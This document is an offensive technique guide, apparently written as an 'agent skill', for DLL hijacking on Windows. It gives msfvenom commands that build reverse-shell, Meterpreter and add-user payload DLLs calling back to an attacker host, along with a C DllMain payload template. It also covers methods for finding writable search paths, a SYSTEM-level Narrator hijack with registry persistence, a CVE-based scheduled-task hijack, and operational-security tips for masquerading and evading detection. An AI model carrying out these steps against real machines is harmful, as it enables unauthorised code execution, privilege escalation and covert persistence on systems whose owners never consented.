Windows DLL Hijacking Skill
A comprehensive guide for performing DLL hijacking attacks on Windows systems for privilege escalation and code execution.
Quick Start
- Find missing DLLs using ProcMon filters
- Verify write permissions on target directories
- Create a malicious DLL with appropriate exports
- Deploy and trigger the hijack
Finding Missing DLLs
Using ProcMon (Process Monitor)
The most reliable method to discover DLL hijacking opportunities:
- Download ProcMon from Sysinternals
- Apply these filters:
Process Name→is→<target executable>Path→ends with→.dllResult→is→NAME NOT FOUND
- Run the target application and capture events
- Look for DLLs that the process attempts to load but cannot find
Automated Discovery Tools
- WinPEAS: Checks write permissions on folders in system PATH
- PowerSploit functions:
Find-ProcessDLLHijack- Find processes with missing DLLsFind-PathDLLHijack- Find writable paths in DLL search orderWrite-HijackDll- Generate a hijack DLL
DLL Search Order (Windows)
Understanding the search order is critical for successful hijacking:
- Directory from which the application loaded
- System directory (
C:\Windows\System32) - 16-bit system directory (
C:\Windows\System) - Windows directory (
C:\Windows) - Current directory
- Directories in PATH environment variable
Important notes:
SafeDllSearchModeis enabled by default (current directory is #5)- Known DLLs (in registry) bypass the search
- DLLs loaded with absolute paths cannot be hijacked
- Dependencies are searched by name only, regardless of how the parent was loaded
Exploitation Scenarios
Scenario 1: Phantom DLL Hijacking
When a process looks for a DLL that doesn't exist anywhere:
- Identify the missing DLL name from ProcMon
- Verify you can write to a directory in the search order
- Create a DLL with that name
- Place it in the highest-priority writable directory
- Trigger the process to load it
Scenario 2: DLL Replacement
When a DLL exists but you can place a malicious one first:
- Find a DLL the process loads from a writable location
- Create a proxy DLL that forwards calls to the real DLL
- Replace or place your DLL in a higher-priority location
- Use tools like DLLirant or Spartacus for proxying
Scenario 3: Scheduled Task Hijacking
For processes that run on a schedule:
- Find a scheduled task/service that loads a missing DLL
- Place your malicious DLL in the application directory
- Wait for the task to execute (or trigger it manually)
- Code executes under the task's context
Creating Malicious DLLs
Using Metasploit (Quick Payloads)
# Reverse shell (x64)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o payload.dll
# Meterpreter (x86)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o payload.dll
# Add user (x86)
msfvenom -p windows/adduser USER=<name> PASS=<password> -f dll -o payload.dll
Custom C DLL Template
#include <windows.h>
BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Your payload here
system("whoami > C:\\users\\<user>\\output.txt");
// Or use WinExec for more control
// WinExec("calc.exe", SW_HIDE);
}
return TRUE;
}
Compilation:
- x64:
x86_64-w64-mingw32-gcc -shared -o output.dll source.c - x86:
i686-w64-mingw32-gcc -shared -o output.dll source.c
DLL Proxying
When the target DLL requires specific exports:
- Use DLLirant or Spartacus
- Specify the target executable and library to proxy
- The tool generates a DLL that:
- Executes your payload on load
- Forwards all required function calls to the real DLL
Permission Checking
Check folder permissions
# Using accesschk
accesschk.exe -dqv "C:\path\to\folder"
# Using icacls
icacls "C:\path\to\folder"
Check all PATH directories
for %%A in ("%path:;=";"%") do (
cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :" | findstr /i ":\\ everyone authenticated users todos %username%"
echo.
)
Check DLL imports/exports
# Check what a binary imports
dumpbin /imports C:\path\to\binary.exe
# Check what a DLL exports
dumpbin /exports C:\path\to\library.dll
Case Studies
Narrator OneCore TTS Hijack
Windows Narrator loads a language-specific DLL that can be hijacked:
- Target path:
%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll - No exports required - DllMain executes on load
- Trigger: Start Narrator (Win+Ctrl+Enter on secure desktop)
- Privilege: SYSTEM on secure desktop
Persistence via registry:
# User context
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
# SYSTEM context (requires admin)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
MSI CustomAction + DLL Side-Loading
Threat actors use MSI droppers to stage signed binaries with malicious DLLs:
- MSI CustomAction extracts and drops files during installation
- Signed EXE (e.g.,
wsc_proxy.exe) is placed with malicious DLL (wsc.dll) - When EXE runs, it loads the DLL from the same directory first
- Code executes under the signed process's identity
Analysis steps:
- Use Orca to inspect CustomAction, InstallExecuteSequence, and Binary tables
- Extract CAB contents:
msiexec /a package.msi /qb TARGETDIR=C:\out - Look for VBScript actions that concatenate/decrypt payloads
Phantom DLL in Scheduled Tasks
Example: Lenovo TPQMAssistant.exe (CVE-2025-1729)
- Location:
C:\ProgramData\Lenovo\TPQM\Assistant\ - Missing DLL:
hostfxr.dll - Trigger: Daily scheduled task at 9:30 AM
- Write access: CREATOR OWNER (local users can write)
- Result: Code execution under logged-on user context
Advanced Techniques
Forcing DLL Search Path via RTL_USER_PROCESS_PARAMETERS
For advanced scenarios, you can manipulate the DLL search path when creating a process:
- Use
RtlCreateProcessParametersExto set customDllPath - Create process with
RtlCreateUserProcess - Target binary will resolve DLLs from your specified directory
See the bundled script force_dllpath.c for a complete example.
Bring Your Own Accessibility (BYOA)
Clone an existing Accessibility Tool registry entry:
- Copy an existing AT entry (e.g., CursorIndicator)
- Modify to point to your binary/DLL
- Set
configurationregistry value to your AT name - Triggers under Accessibility framework with elevated privileges
Operational Security
- Silent execution: Suspend the target process's main thread before executing payload
- Cleanup: Delete temporary files after loading (e.g., encrypted blobs)
- Masquerading: Rename signed EXEs to look like Windows binaries (keep OriginalFileName in PE header)
- Process creation: Use WMI/CIM to create processes, hiding parent relationship
References
Scripts
This skill includes helper scripts:
check_dll_permissions.sh- Check write permissions on PATH directoriesgenerate_dll_payload.sh- Generate a basic DLL payloadprocmon_filter_template.txt- ProcMon filter configurationforce_dllpath.c- C example for forcing DLL search path
Run these scripts from the scripts/ directory or reference them in your workflow.